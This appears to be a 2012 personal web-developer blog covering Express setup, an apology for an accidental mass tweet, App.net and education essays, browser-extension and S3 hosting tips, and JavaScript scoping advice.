Express and Mocha are modules that are best installed globally. We’ll begin with Express.

Installing Express

Run this in any directory:

sudo npm install -g express

Hopefully, you’ll get a load of install output, finishing with something like this…

As you can see, I’ve got Express 3.0.0rc4. Your results may differ, but if you have anything less than 3.0.0 then try:

sudo npm install -g express@3.0.0rc4

What the output in the image is telling you is that Express, and a load of modules upon which it relies, were installed. In my case, they all went into /usr/local/lib/node_modules/express – again, your results may vary.

All Express documentation is available on expressjs.com.

Installing Mocha

Now we’ll do the same with Mocha.

sudo npm install -g mocha

I get mocha@1.4.2. Anything greater than 1.3 should do.

We can actually leave Mocha alone for a little while now, as we’re going to start a new project.

Starting a new project

The reason for installing Express globally was to install the useful express command line tool that, amongst other things, can create a template application so we can get to work quickly. It has pretty good documentation.

We going to be using express to do alot of work for us straight away.

express --sessions --css less --ejs eventpack

This will create a template structure, as you can see above. It’s also given us some instructions, which you should follow. Once you’ve run node app, head to http://localhost:3000/ to see Express in action…

You can quit the app using Ctrl+C.

Running cd eventpack && npm install gave us similar output to when we installed Express and Mocha, but with a slight difference.

Let’s walk through it.

You can see it installed three things. jade, less-middleware and express. But this time, they are installed in node_modules/ – if you run ls in the current directory you’ll see node_modules there.

This directory is where the local modules go. When we get git set up, in the next tutorial, we’ll put npm_modules in the .gitignore file—perhaps that hints at the power of NPM—but for now you can forget about it.

We used three flags with the express tool. This adds some automatic functionality: session support and LESS compliation (and compression, if we want it). Both will be useful once we start work properly.

Enough for now

So there you have the basic structure of a Node app. Take a look around that template, there’s not much to it yet. Next time we’ll have it doing stuff.

I think this tutorial is now quite long enough. I hope you’ve enjoyed it so far and are in for the rest of the series! I’m open to all feedback so please let me know what you think and what I can improve.

Thanks for reading.

I messed up. I'm sorry.

2012-09-13T10:00:00+01:00

On 13th September, at 9:38am, I pushed a feature to Twapp to allow users to stop a post from going through if it was too long for Twitter.

Due to a stupid mistake, I left some in code that created a fake post, to test the feature. This resulted in an identical tweet being sent to the Twitter accounts of all Twapp’s users.

I am very sorry. I totally messed up and I’ll do my absolute best to make sure it won’t happen again.

I’m putting a check in place to make sure that username stored in the post is the same as the username of the user for whom Twapp is currently posting, which should stop this ever happening again, and I’ll take a good look at other checks like this, some that are already in place, across the app.

App.net Mindset

2012-08-29T14:00:00+01:00

My two App.net projects, a friend-finder and a cross-poster, have both enjoyed some unexpected success. In fact, I’ve been totally blown away by the response and I’m very grateful to anyone who’s bought twapp or tipped me!

A number of people have asked me whether the App.net community have been more receptive to paid apps than the Twitter community are, and why that might be so. It seems to me that it’s down to the mindset of someone using App.net.

I think that an expectation that payment is involved in using the service is created because users have already paid $50+ for their account. Paying for another supplementary service is not a big hurdle because a larger payment has already taken place. In the case of Twitter, the central service is free which makes a paid ecosystem more difficult to establish.

In addition to this, most App.net users are die-hard early adopters, very willing to try out something new. This interest I’ve found also increases the chances the person is happy to pay to be first. Kickstarter’s business model is partially based around that fact, and so is how App.net got funded.

When you consider this drive to be first, and the expectation of payment, it seems that App.net is a very good platform for developers to build user-focused products that don’t rely on advertising becuase the users, by their nature, are willing to pay. It’s a great thing.

Building the Picture

2012-08-25T11:00:00+01:00

Ofsted, the school inspection body, published a report in December 2011 that investigated the use of ICT in 167 schools across the UK between 2008 and 2011, including the use of virtual learning environments. Here’s a whirlwind tour of the report, and some conclusions.

The findings

A number of weaknesses were identified including, “limited teacher capability in key topics such as programming,” and, “lack of attention to the needs and interests of more able students”, identifying a particular failure at the Key Stage 4 level – 14 to 16 years old – where students were not aware of, or able to explore, options for higher learning in ICT and Computing.

This is further evidence of the wider problem of a teaching cohort unskilled in computing any more advanced than word processing and spreadsheets. It’s been identified before and will, I believe, be fixed naturally over time.

Interestingly, though unsurprisingly perhaps, the report described, “a move away from dedicated computer suites and a growing emphasis on laptops and handheld devices,”, which follows a global trend towards mobile computing.

To me, any product or service entering this space should have a similar focus on a strong mobile aspect, which goes with conventional web development wisdom. Walter and I have already identified this as a key area; engaging students where they spend much of their time – on their phones – could prove very important to helping them learn outside of the classroom.

Virtual Learning Environment

Upon investigating the use of virtual learning environments in schools, Ofsted found that, while VLEs had been effective in a number of cases, there were a range of issues associated with, “a lack of support from the local authority, delays caused by technical difficulties or lack of available training”. While I don’t think I need to say anything about the inefficiencies of a local authority, I do think it’s worth addressing technical difficulties and lack of available training.

There are two types of technical difficulty that this could be addressing; relating to the development of the VLE and to difficulty of operation and maintenance by teaching staff. Walter and I hope to address both by adopting a more agile development methodology.

By building a product upon which we’d iterate, not a one-time bespoke solution, I think we can achieve a lower cost for the school, and a service that more closely serves the needs of the users: the pupils and teachers.

By working with pupils and teachers I think we can avoid a situation where a teacher feels lost or unable to carry out a task. Of course, there’s no reason we cannot provide training and great customer support. The latter is imperitive, in fact.

A lack of meaningful customer support is an inherent problem with any bespoke solution, as the development team have moved on and are working on something else – we can solve this, and mentioned above, by iterating on a single product.

The report also concluded that, “there was often a reliance on a single enthusiast, a teacher or governor, to resolve obstacles and delays,” which is concordant with my experience of virtual learning environments. Again, by centralising the service so that schools do not have to install, host and maintain it, we can avoid this kind of reliance and deliver regular updates to everyone simultaneously.

Building the picture

In these posts I’m trying to build a picture of the problems that need to be solved, so that we can formulate an effective solution in one small area and work outwards. It’s been great to see others engaging with our idea – hopefully we can resonate in the right places and enact real change.

Problems to Solve

2012-08-23T21:00:00+01:00

I talked in my last post about education and about a new project I’m working on with Walter.

Now I’d like to expand a little more on the specific problems we are looking to solve. Right now, nothing is under construction. I’m not happy beginning work until Walter & I have explored these problems thoroughly and know them well. This post is to express the first part of the manifesto.

Prescriptive curricula

As you know, the content of lessons in school is, in the main, prescribed by the government in a curriculum that is tested in public examinations at 16 (year 11, GCSE), and then, if you go to sixth form, again for the next two years at AS and A2.

For the most part, students will not be taught any more than the content of the set curriculum. The textbooks are written, the course material is taught, the homework set and the exams taken. It’s a single track path with very little wiggle room.

This isn’t right, and we want to make it easier for students to access, explore and share this information in an environment that also allows teachers to monitor, and direct, the student’s learning. If a student finds something that they find interesting and that they want to explore, they should be able to do so without being constrained by their curriculum.

They should be able to share that excitement about learning with anyone, not just those in their school environment.

Virtual Learning Environments

A VLE is software that tries to emulate the classroom online, with virtual counterparts to tests, homework, classes and classrooms. They can also offer data access, resource hosting and a number of other features.

Most are hosted by the school or university and require administrative staff to keep the software running and apply updates.

Most cost a huge amount to buy and maintain, even if the maintenance is left to staff at the school.

Most suck.

I’ve had experience with Moodle (at school), the open-source PHP VLE, and Learning Central (or Blackboard – depends who you ask), Cardiff University’s own system that, I believe, is developed by IBM to the cost of millions.

Teachers find them hard to use and students don’t care. They go to them when they must, and no more.

Reinventing the VLE would be wrong and stupid; the backward compatibility nightmares would suck the life out of any small, dynamic product. But doing something different and smart that takes full advantage of what’s possible with the web isn’t, and that’s one of our goals.

A story

At my school we did the ICT GCSE short course two years early, at 14. It involves some spreadsheet, database and limited website work in HTML and CSS using WYSIWYG editors, and then an exam. No sweat.

At that point I was doing PHP and MySQL, and had been building websites for a while. I was bored of our curriculum and I wanted to find out new things and push myself. I’d found an AS & A2 Computing test program on the school network and I’d stared putting myself through the tests; I could get 50–70% on most AS stuff, and 40% or less on A2.

Wanting to get 100%, I tried to start learning about the things I didn’t understand in the tests, so I went on Moodle to look at the course material there.

It had a password. I couldn’t access the course material because of a password that was given only to A Level students. It stopped me in my tracks and was very frustrating because I couldn’t explore an avenue that was of great interest to me.

I don’t understand what is gained, by anyone, in limiting access to learning resources. There’s no reason anyone should be stopped from learning about something they are interested in, and it’s criminal to do so. This has to change.

Go to the source

This first step to fixing a problem is identifying the source. While the above are problems in themselves, they are also symptoms of a larger, underlying problem with schooling.

But I hope that, by making a difference in these areas, we can stop restricting learning to what’s on the curriculum and build a better learning environment for students and teachers.

YRS and Broken Education

2012-08-22T17:00:00+01:00

Recently I was a mentor at Young Rewired State, a nation-wide event for under-18s with the motto “code a better country”. The kids came together in various centres around the UK, formed groups and hacked on open data to build something entirely new, in a week. It was the most exciting and inspirational thing I’ve done in a long while.

The group I mentored, alongside Laura, was made up of three fantastic kids: Max, Liza and Ed. They are 12 (nearly 13! (in March)), 11 and 10 respectively, and they achieved incredible things. We built marauder.me, a real-time geolocation app that helps you find your friends when you’re attending an event, or see who’s coming if you’re running the event. It featured the Geolocation API, Open Street Maps and the Speech API (after a stroke of genius suggestion from Max), and was built on Node.js. It’s based around the Marauder’s Map from Harry Potter that shows you where various people are in Hogwarts Castle.

After a brilliant presentation from Max & Liza to a small group of other centres, our app, much to Max’s excitement, was nominated for the final in the Best Code category. Max & Liza again nailed the presentation to more than 500 people and the imposing judging panel that included the supermodel Lily Cole, and, while we didn’t win, it made me incredibly proud of them and I hope they they too were proud of what they produced.

I hope that I helped to inspire them build the next generation of incredible products and services that will make all our lives better in the future.

However, this post isn’t about this event. This post is about education, and how broken it really is.

Self-directed learning

Sites like the Kahn Academy have shown us just what’s possible if students are free to pick and choose what they want to learn. They lead to high levels of engagement from students who have the ability to move fast when they want, but go back over something if they don’t, without the potential embarrassment of putting their hand up in class.

I can’t emphasise enough how important I think self-directed learning is.

School is a conveyor belt

The education system is broken because it is entirely results led. The government sets targets for schools, like percentage of students that get A-C and percentage that pass, so it’s no wonder that schools teach for the exam.

It’s hard to describe what it’s like to be taught like that, but you can imagine that being told that something you’re interested in is not on the exam, so it’s not important, is pretty soul destroying.

In fact, it’s so ingrained in some people that, even at university level, the first question out of people’s mouths when you start a new topic is, “Is this on the exam?”. If it ain’t on the exam, it ain’t worth learning.

School has become like a conveyor belt, from primary to secondary and on, and for some people (myself included) it seemed as though university was the only option available. At my school no other options were mentioned at any point. University was simply the next thing you did, and then you got a job.

This is important because university probably isn’t right for me; the web industry doesn’t require a degree, yet I felt enormous pressure to get to a good institution because, well, that’s what you did. Similarly, it probably isn’t right for lots of other people.

I know from personal experience that a lot of people go to uni because they have, literally, no clue what else to do. They go because they are told to, and because they know they can get away with two and a half years of drinking before doing any work. When it’s done? Oh, yeah, that’s when they’ll think about the future.

This is getting ranty, so I’ll return to the topic. Self-directed learning.

A project; a proposal; a challenge

As I said earlier, I believe it’s incredibly important, and I believe it’s been made possible by the internet. But most schools have been slow, reluctant even, to embrace what the internet offers.

I want to change this, to re-engage kids by allowing them to direct their own learning and find what it is they love doing.

Education is broken, but I know that a revolution isn’t going to happen overnight. It’s a slow moving machine that’s full of dinosaurs and dust. Things don’t change fast and they don’t change radically. So, in order to enact change, we must rebuild the system by working within it; by allowing the way things work now to continue while also enabling student, and teachers, to learn about what they want and get themselves engaged in a topic.

I wrote, some time ago, about tackling the hard problems. This is a hard problem, but it’s one I want to take on. Luckily, I have a top notch co-conspirator in this: Walter Carvalho. After a period of immersing ourselves in this area to truly understand what needs to change, we’ll begin working on a product that we hope will make a difference, with a sustainable business plan (yes, business plan) and achievable short-term goals.

There’s lots more to say, but this is a long post and it’s time you took a screen break. If you’re interested, or have an opinion, I’d love to hear from you. Email me.

What I see in App.net

2012-08-12T00:00:00+01:00

I backed app.net from quite early, admittedly in part because I relish the opportunity to be an early adopter of anything, but in the main because I felt that the idea was important; necessary even. It felt like something big.

Dalton Caldwell, the mastermind of the app.net project wrote this about the idea in his open letter to Mark Zuckerberg:

I believe that a number of smaller, interoperable social platforms with a clear, sustainable business models will usurp you. These future companies will be valued at a small fraction of what Facebook and Twitter currently are. I think that is OK. Platforms are judged by the value generated by their ecosystem, not by the value the platforms directly capture.

Some have interpreted this to mean that app.net should be a Diaspora-style federated social network, allowing data to be distributed between silos. But I don’t read it that way.

The way I see it, app.net is the first of (hopefully) many such API-driven services that interoperate because of their developer communities. We know one or two monoliths in the space is not good for anyone, particularly when the end product becomes the user, and not the service. Without mentioning any names, Twitter and Facebook. Oops.

Choice and competition in any market or economic space is known to be beneficial and hope that in a few years time we see a choice of social media platforms, each with different strengths, that interoperate in a way that benefits the end user and empowers the developers. And with Twitter, the could-have-been real-time API of the web, booting up a corporate feel, I think this is very important.

In app.net, I see the beginnings of a bright future for the social web, built on high-quality platforms where a user has a choice and where developers can built as yet unimagined tools, services and products.

When the service becomes the product, great avenues of opportunity open.

Browser Extension Tips

2012-07-30T07:00:00+01:00

I thought I’d share a few things that might help you out if you’re putting together an extension, particularly if it’s for more than one browser.

Split the code

One of the most important aspects of the Buffer extensions is the separation of the browser-specific and browser-agnostic code. The integrations, hotkeys and the page scraper use the same across the three browsers that we officially support: Chrome, Firefox and Safari, alongside some browser specific code that enable the duplication.

The shared code is in a separate repository and is a submodule of each extension’s repo. It’s very useful becuase it enables me to quickly make an update to fix an integration in one browser and deploy it quickly to all three, and keep track of when each improvement was released out into the wild for each browser.

It’s meant a few hacks to allow the shared code to work the same in each browser, but now that’s in place I am reasonably sure that any change to a content script will work in all three. And, since we rely heavily on content scripts, that confidence is very important.

Extension info

Extensions have a configuration file that dictates anything from the name and descripton to which content scripts are injected where and when. So it’s pretty useful to be able to grab information about your extension to use in the background page. The APIs for this are not obvious or non-existant, so here’s a few snippets to help you get the information.

In Chrome you can get the manifest.json as an object using the chrome.app API, and make it available as chrome.manifest.


chrome.manifest = chrome.app.getDetails();

In Safari the info is store as a plist file. Urgh. Use a blocking XMLHttpRequest, and a JS plist parser, and expose it as safari.info.


var req = new XMLHttpRequest();
req.open(
  'GET',
  safari.extension.baseURI + 'Info.plist',
  false);
req.send();
safari.info =
  PlistParser.parse(req.responseXML);

Firefox is a trickier beast. You can get some of the data from the global self object…


self.version; // "1.7.3"
self.name; // "MyGreatExtension"

But you can’t get at things which can only be specified in the Firefox package.json, like the preference list. I’m working on a way to do this, using some of the lower-level Firefox APIs. I’d love to hear from you if you know a way.

Work straight after install

With the Buffer Chrome extension we needed the extension work straight away after a user installed it, becuase we found that most users would install the extension and then remove it straight away when it didn’t work.

We could have asked them to reload all their tabs, but this seemed very bad for the user experience and I wanted avoid it at all costs.

The way to do it in the end to use programmtic injection to add the most important scripts (the overlay) into all open tabs.


// Inject scripts listed in the manifest
var inject = function (id) {
  var scripts =
    chrome.manifest.content_scripts[0].js;
  scripts.forEach(function (script) {
    chrome.tabs.executeScript(id, {
      file: script
    });
  });
};

// Grab all the windows with tab data
chrome.windows.getAll({
  populate: true
}, function (windows) {
  // Iterate through each window
  windows.forEach(
    function (currentWindow) {
      // And each tab...
      currentWindow.tabs.
        forEach(function (currentTab) {
          // Skip chrome:// and https://
          if( ! currentTab.url.
               match(/(chrome|https):\/\//gi)
            ) {
            // Injectify!
            inject(currentTab.id);
          }
      });
  });
});

And yeah, we can totally use Array.forEach cos we’re guarenteed to be in Chrome. Woop!

Oh, and sorry for how unreadable that code is. It’s a narrow box, and I need to work on biggifying it.

Surviving an upgrade

Chrome is Buffer’s most used extension, and is the biggest source of updates posted, so I want to make the Chrome experience as great as possible. One part of this was having a seamless upgrade experince.

By default, when your extension is upgraded (automatically and without warning) the content scripts that the previous version of the extension injected will no longer be have access to the port-based messaging service the two sides use to communicate. In the case of Buffer, this effectively made the extension useless.

The first version of the extension that fixed this actually contained a memory leak that could crash the browser, but after some rejigging we now have an efficient system for restoring the connectiong. The extension overall has one of the smallest memory footprints of the extensions I have installed.

The following code would go in a file injected into every page where a content script require access to a port to the background page.


var port;

// Trigger connect...
var reconnect = function () {
  port = null;
  // ...after 1 second
  setTimeout(connect, 1000 * 1);
};

// Attempt to connect
var connect = function () {

  // Make the connection
  port =
    chrome.extension.connect({name: "port"});
  
  // We listen for an onDisconnect event, and
  // then wait for a second before trying to
  // connect again.
  // Because chrome.extension.connect fires
  // an onDisconnect event if it does not
  // connect, an unsuccessful connection will
  // trigger another delayed attempt.
  port.onDisconnect.addListener(reconnect);
  
};

// Connect for the first time
connect();

That should keep your content scripts connected up and working even if the extension is uninstalled or upgraded.

Summary

Hopefully some of this might help you out if you’re putting together a content script heavy browser extension. I’d love to hear from you if you have any thoughts, ideas or questions – just email me!

Javascript App Hosting on S3

2012-07-22T08:00:00+01:00

I came up with a technique for hosting Javascript apps on Amazon’s S3 that can use the request URI (path) as any app with a server side could. This enables a ‘fake’ directory structure that is actually just one page on S3. I built schemist using this technique.

The basic concept

At it’s core, the idea is as simple as using S3’s static website hosting tools to force all requests to go to one page. This is as simple as setting up a bucket as a website and pointing the index and 404 pages to the same file (could be index.html or anything else). Because the request URI is kept when the 404 page is served, you can process it using Javascript and serve any content you like, faking a directory structure. This means pretty urls are very easy, and still enables query strings and page identifiers. In combo with the History API, it’s pretty damn cool.

How to do it

Let’s say you’re wanting to set up a site for your awesome new startup, Bog Roll Club. You’re gonna sell Bog Roll as a subscription service to the world. Great idea, but you want to get a page set up real fast that can handle the extreme traffic you’ll be getting. No probs.

S3

You’ve bought the domain, bogrollclub.com (no www here). Head to your Amazon S3 control panel, and create a new bucket named the same as that very domain. Like so:

Next, open the Properties of the new bucket, and then the Website tab. Tick the Enabled checkbox and put index.html in both the Index Document and Error Document fields. Click save. It’ll look something like this:

You’ll notice you have a URL at the bottom of that window. Copy it, for it will become useful very soon.

The app

Now, upload your site/app to S3. You can do exactly how you’d do any other ‘static’ site, except make sure that all paths (to CSS or JS) are relative to the base URL - ie, they begin with a forward slash.

Oh, and make sure all files are set to be readable by ‘Everyone’ (or ‘World’).

Here’s a teeny little bit of Javascript that will grab the segments of the request URI for you:


// Grab the pathname segments
var segments = window.location.pathname.split('/').slice(1);

if( segments[0] === 'somepage' ) {
  . . .
}

Testing

That linked you copied? Try going to it in your browser. You should see your crazy-cool site. If not, read back over the above and mess around. If it still doesn’t work, tweet me.

Domain & DNS

Lastly, the cool bit.

You’ve got the domain name (right?), so head to the Host Records (DNS Configuration) of your domain control panel. For me, on Namecheap, that’s under All Host Records of the domain panel.

Find the area where you configure the hostnames. You need to set them up so that the @ record is a CNAME, and that its URL points to that S3 url, without the http:// or trailing /. You should also have a www host that’s a URL redirect (301 if you can) that points to the full (www-less) URL of your site. So http://bogrollclub.com in this case.

Something like this:

Yeah, you can’t see much, but you get the idea, right?

Save those changes, and wait a little while for the DNS to propagate. In my case that was less than a minute.

Woot

And that’s it! Grab a cool, refreshing glass of lemonade and head to your site (bogrollclub.com). Feel happy & profit.

Along For The Ride

2012-07-12T00:00:00+01:00

I am nineteen.

My life expectancy is around seventy-five years.

The history of the Web stretches back a mere two or three further years.

The first high-level programming language, FORTRAN, was invented in 1954 and von Neumann’s stored-program model was conceived in 1945.

Let’s say that the full history of computer programming as know it today extends back sixty years. That’s a nice, round number.

I will, if things go my way, live as long as code has been around. That’s sobering. How incredibly far computers have come in that time, coupled with the accelerating pace of change, makes me dizzy with the thought of where we could be in another sixty years. Awe-inspiring.

Of course, that time-span is a drop in the great ocean of human history as tool builders. When Steve Jobs said the computer is a bicycle for the mind, I think he underestimated.

But, there’s another side to this. My knowledge does not encompass the first iota of what there is to know. While my mentality now is to move fast and do it all while I can, I can’t help but wonder if we are all chasing smoke. Put Twitter and Facebook in the context what is yet to come and it all seems suddenly vacuous.

Nobody knows where we’ll be next year, let alone in ten years or sixty years.

Then again, who cares? Honestly, I’m just happy to be along for the ride.

How to write safer Javascript

2012-07-11T12:00:00+01:00

I just thought I’d share a few quick ways of making your Javascript a little bit safer. I’d recommend reading deeper into a few of these techniques too. The MDN Javascript articles are great for this, and reading the source code of major Javascript projects & libaraies is a great way of seeing this stuff in action.

Global Warming: Prevent Pollution

In Javascript there’s a couple of ways of defining variables. One is good (if used properly), one is disastrously bad.


evilVariable = 'mwahaha';
var notQuiteSoEvil = 'lol';

That first one? That is a global variable and is muchos bad. No matter where you write that code, evilVariable variable will be available everywhere else.

This is because the variable becomes a property of the global object - in browsers, that’s ‘window’. So in this case we’d have window.evilVariable.

By using the var keyword you limit the scope (segment of code in which a particular variable can be used) to the closest function. More on this in the next section…

Use Protection

If you’d used that previous code example in a script tag on your page, you’d still actually be creating a global variable (so you’d still have window.notQuiteSoEvil), but read on for a way round that!

Since it’s never a good idea to pollute the global scope of your page if you can avoid it, one way to ensure you aren’t causing global warming is to to wrap all your code in a self-executing anonymous function. Though it sounds scary, it’s actually quite simple.


// A simple self executing function
(function () {
  // This code will be run automatically and
  // variables declared in here won't pollute
  // the global scope
}());

// This can also be written like this,
// where the execution brackets are outside
// the function wrapping pair.
(function () {
  // . . .
})();

Looks like a normal function right? But check out the extra parentheses… they run the function straight away. You have to wrap it all in parentheses because that makes sure that function () { … } an expression not a declaration, but that’s outside of the scope (see, there it is again!) of this article. Check out MDN for more.

As mentioned above, any variables decalred within the self-executing function will only be visible within that function (and inside any functions declared within the parent function). This is called functional scoping and is one of the differences between Javascript and most other languages. It’s also incredibly powerful, enabling a wealth of neat Javascript tricks like closures. Anyway, back on topic!

I tend to make a slight improvement to this but adding a semicolon before the first bracket, a la:


// Anuvva semi-colon
;(function () {
  // Self-executing lovelynesses
}());

This is to protect against something like this happening:


// WARNING!! BAD CODE BEGINS HERE ========
(function burp(thing) {
  // This function will self-execute with
  // whatever the function below returns
  // passed as an argument.
  var herp = 'derp'
      derp = 'herp'
})
    
(function () {
  // Some other (good) stuff in here
}());

// This is becuase you are essentially
// writing this crazyness:
(function () {
  // Codez
})(function () {
  // Some other (good) stuff in here
}());

// PHEW!! BAD CODE ENDS HERE =============

Yeah, crazy. Don’t do it, kids.

The extra semicolon (or !, +, - and a few others) is also useful for flagging to the next poor soul reading your code that something’s afoot (ie, the following is a self executing function).

typeof undefined !== “undefined”

Theoretically, some bastard could write:


// WARNING!!
// Do this, and will come to your
// house and personally remove your kneecaps
undefined = true;
typeof undefined === "undefined"; // false

This is nighmarish because everywhere you write


if(myVariable === undefined) {
  // . . .
}

will be horribly broken. Since undefined is now true, even if myVariable has not been defined the code within the if statement will not run.

This is possible becuase undefined is not a Javascript keyword, but a property of the global object. Don’t ask me why. Javascript has some odd bits.

The way to protect against this is to hack the way Javascript handles arguments. If a function is expecting three arguments, but only two are supplied, the value of the third will be undefined. Similarly, if the function is expecting one argument but recieves none then the argument will be undefined.

So, to ensure that undefined is always (erm) undefined, you can do this:


;(function (undefined) {
  // Becuase no arguments were passed to
  // this function you have your own,
  // pristine, local copy of undefined
  typeof undefined === "undefined"; // true
}());

Easy peasy, right?!

Done and done

I hope these quick tips will help you write safer Javascript, and will help protect you from cowboy web developers who are redefining undefined.

Quality & Code

2012-07-06T08:00:00+01:00

I always want to avoid anything that might be called self-righteous or hypocritical, but please excuse me if I venture into that territory. This post is as much a manifesto for myself as it is a criticism of anyone else.

As a developer, you spend far more time reading, maintaining and refactoring code than you do writing it, yet it seems still that many value code that “just works” over that which is well thought-out, documented and tested. This minimises the time it takes to write the code, but is a surefire way to give yourself monstrous degugging challenges later.

I suggest that, if your intention is to open-source your work, or have others work with you, or just to work on the same piece of code more than once, you should be investing time in code quality, aesthetic and algorithmic, and in documentation and tests. In fact, I see it almost as matter of pride.

My thoughts turned to this because I’ve come across a worrying number of open source projects from well-known developers exhibiting dire code quality. If you want others to contribute, please make it easy. Please.

I believe it’s linked to the subconscious desire, perhaps instinct, of a developer to avoid rendering themselves redundant within a project. If you’re the only person who can successful make changes to a piece of code then you’re effectively cementing yourself into the code base. I hope I don’t need to explain why that’s obscene.

I’m not naive enough to suggest that everyone, particularly those working on internal code to a tight deadline, can invest energy in comprehensive test coverage and detailed documentation for entirely practical reasons (it’s possible that’s down to the attitude of management too, since it’s hard to justify, to a client, hours spent writing documentation), but even in this arena things could (should) be better.

While I won’t hold myself up as a beacon of code excellence, I would like to think that I do my best and that I’m always striving to get better at it. I’m very much obsessed with the way code looks and reads; code is poetry and I want to be a laureate.

For me, keeping up with best practices and learning entirely new techniques to sharpen skills in my language-of-choice are vitally important too.

Give a shit about your code, and others will too. Take pride in it. Don’t give potential collaborators the middle finger before they’ve even begun.

Grid, Set and Match

2012-07-03T10:42:00+01:00

This new redesign of my site is here, and I’m happy with it. You might be interested to know a bit about what’s underneath…

The layout’s built on Gridset, a new tool made by the talented chaps and chapettes at Mark Boulton Design, designed to make putting together compound grids so easy a napping baby could do it, and Gridset makes it so with aplomb. I’ve always been a stickler for good vertical alignment and acheiveing the look of a grid even if I don’t always use one, so it just made sense to try out Gridset. It’s still in beta and I’ll probably end up paying for it, but I’ll be happy to.

I started by writing out a short list of goals and constraints. They included insighful things like “reabable, good looking, …, not be blue”. Clearly, blue was to be avoided. Looking at them now I think I achieved everything on that list, except perhaps distinctive – although that’s probably the most subjective of the list.

I then sketched out a few ideas and moved, perhaps unusually, to playing around with the navigation in Remy Sharp’s fabulous JS Bin. The sketches show a dark square with a border underneath, but I just couldn’t get this to look right, so I tried a sort of speech bubble, and suddenly it made sense. This, for me, is the stage of designing in the browser where those happy accidents occur. The instant feedback from live updates makes rapid iteration very easy and alot of fun.

I then sketched out a rough layout so I could figure out where the key grid columns should go. You can see from this sketch that I was thinking of having a work showcase down the right hand side, but in the end I opted for a mini-bio. The sketch is very rough – as mentioned, I like to work mostly in browser.

From there I just jumped straight in the browser. The site’s built using on Jekyll, so I have that running in auto mode on my command line. It automatically regenerates the site every time any files change, and is also a little web server so I can (almost) instantly refresh the browser to see how things are looking. I also use LESS (and CoffeeScript), compiled by Codekit, to make CSS development a more pain free process.

With LESS I try to move all references to color from the rules to a group of variables at the top of the document. This makes changing things down the line significantly easier, although I must admit that on this design I was a little lax on that rule.

As I was building the pages I was modifying Gridset until I got the set of layouts I wanted. For desktop-sized browsers I’m using a compound grid where two ‘Golden’ grids (4 & 5 column) are combined to give a complex set of possible layouts, with a common gutter at around three-quarters of the full width, from the left. See the grid in action.

The grid builder is very easy to use and intuitive, although it would be nice to be able to set the gutter size in ems, as well as pixels and %. The predefined classes, like -pad and-padinfull, never seemed to work quite right for me; perhaps a symptom of doing something wrong.

Honestly, my first attempt at using a compound grid was not an enormous sucess as the grid I came up with is slighly awkward to work with. And with a vertical grid layout you have to think, and markup, somewhat vertically, meaning it’s difficult to break out of the grid horizontally, especialy in a CMS-like environment. Perhaps this is limitation of Gridset, or perhaps it’s something I’m doing.

All that said, Gridset was a pleasure to work with and theres’s so much I haven’t mentioned about the site and my experience with Gridset. The ease with which an adaptive layout can be thrown together is brilliant, as is the documentation that’s generated for your grid. Great work Mark Boulton & co; I’d highly reccommend trying out Gridset for yourself.

I hope you enjoyed a little insight into how this site was designed & built, and if you learned anything then that’s a bonus. It’s nothing special, but I find that reflective posts like this are good for me to figure out my process and what I could be doing better.

Radio Silence

2012-07-02T21:50:00+01:00

I had a very productive day yesterday. I could attribute this to a number of things; for example, I’ve noticed that lines of code written is inversely proportional to number of biscuits consumed. It could also be that I’m feeling extremely motivated by what I’m working on.

However, I made a change yesterday that I think was much more likely to have had an effect.

I turned off Growl.

(For those who don’t use it, Growl is a little utility that provides desktop notifications for a whole range of apps.)

Here’s when it pops up:

HipChat gets a message
Twitter finds a mention
Rdio changes track
Transmit finishes transferring
Codekit’s done compiling
Skype message
Cloudapp’s finished uploading
more…

Given that I’m on HipChat all day, use Twitter, Codekit and Cloudapp heavily and have Rdio on all the time, that’s a fair few notifications. But I didn’t realise how heavily I was being bombarded until suddenly there was silence.

It was fantastic.

Seriously, try it. Detach yourself from real-time updates and find your focus again.

Dreaming of browser extensions

2012-07-02T11:00:00+01:00

Browser extensions are a really neat way of integrating straight into web browser UI, a place people are spending an increasing amount of time, while also offering a unique opportunity to embed actions directly into the familiar UI of services like Twitter and Facebook. In fact, half of all updates Buffer sends come from the extensions, with Chrome alone contributing around 40% (more than any other single source).

However, the API for extension development is totally different in each browser, creating a serious headache when maintaining and improving anything approaching complex. Chrome is, perhaps, the easiest to work with, but I don’t want to leave the other browsers behind, so I’m working on a library that will normalise the APIs for a better extension development workflow. The deployment workflow is different again for each browser, but I won’t get into that here.

What makes an extension?

Browser extensions are, in general, made of two things: background pages and content scripts. There is only one background page per-extension per-browser-instance, but the background page may inject content scripts any number of times into any number of open tabs. The content scripts are sandboxed away from the page into which they are injected, except in that they share access to the same DOM. There is, of course, more functionality that this, but that’s the general idea.

The content-script aspect of the Buffer extensions is split into two parts: the ‘embed’ and ‘overlay’ code that is shared by all three extensions (a separate repository, using git submodule), and some browser specific code. The browser-specific code puts in place a number of objects that allow the same functions to be called in the shared code, no matter which browser. This (mostly) works, although the differing ways in which the contents scripts are injected (I’ll get to that later) means that sometimes some bodging is necessary to make sure things work. I want the library to abstract away all worrying about how the script is injected so that it ‘just works’.

That said, right now it works quite well. Mostly, I can add a feature to the shared code and have it work out of the box in the other browsers.

Once you move to the background page things change again as we’re back using the browser-specific API and methodologies. This is where the headache starts; shifting from one browser to another to add background page functionality requires a full brain-reset. Forgive me for going into detail; this post is as much for me to sort it out it my head than for anyone else!

Content-script injection

In Chrome, content-scripts are specified in the manifest.json file found in the root of the extension directory. They follow a schema where you specify a set of URL-match patterns and an array of scripts (and stylesheets) to be injected if the tab URL matches the pattern. It’s up to the programmer to set up communication between the script and the background page (again, more on that later). Reasonably simple, powerful and easy to use. Chrome also provides a programmatic injection.

In Firefox, you use their pageMod API to add scripts to a page using a similar (but very limited) URL match. You can inject Javascript and CSS (a recent addition), and you may also pass a callback which is passed a worker. The worker (not quite the same as a WebWorker) has a port property through which you can communicate with the injected content script (and any others injected into the same page).

In Safari there are, like Chrome, two ways to inject a script. The Extension Builder interface allows you to specify a list of scripts to be injected and a white/black-list of URLs, but the lists apply to all content scripts and it’s therefore a somewhat ham-fisted way of doing it. The Builder actually modifies an Info.plist located in the root directory of the extension, so in this sense it’s quite similar to Chrome but plist is not nearly as user-friendly as json. Safari also allows programatic injection of Javascript and CSS, but again it’s up to the programmer to set up communication between content script and background page.

It’s clear that the commonality between all three is programmatic injection, so any library would have to normalise this API, allowing a simple method for specifying which scripts should be injected, and where. I prefer the json method, but it seems that it’s not workable. Perhaps there’s a happy middle ground here somewhere, in the form of a grunt-style object passed to some kind of registration method.

Background-page & content-script communication

